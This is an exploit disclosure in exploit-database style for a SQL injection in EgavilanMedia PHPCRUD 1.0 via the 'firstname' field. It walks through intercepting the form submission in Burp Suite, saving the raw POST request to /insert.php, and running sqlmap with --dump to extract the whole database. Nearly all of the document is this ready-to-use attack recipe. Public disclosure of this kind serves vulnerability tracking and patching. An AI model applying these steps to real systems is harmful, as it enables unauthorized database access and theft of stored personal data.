EgavilanMedia PHPCRUD 1.0 - 'First Name' SQL Injection

# Exploit Title: EgavilanMedia PHPCRUD 1.0 - 'First Name' SQL Injection
# Date: 5/17/2021
# Exploit Author: Dimitrios Mitakos
# Vendor Homepage: https://egavilanmedia.com
# Software Link: https://egavilanmedia.com/crud-operation-with-php-mysql-bootstrap-and-dompdf/
# Version: 1.0
# Tested on: Debian GNU/Linux 10

Vulnerable Parameter : firstname

1. Burp Suite -> Intercept is on

2. Go to the Website -> Add New Record

3. Back to Burp Suite -> Copy to file (r.txt)

POST /insert.php HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 67
Origin: http:// <http://10.0.2.244/>x.x.x.x
Connection: close
Referer: http://x.x.x.x/index.php
Upgrade-Insecure-Requests: 1

firstname=x&lastname=y&address=z&skills=w&designation=a&insertData=

4. sqlmap -r r.txt --dump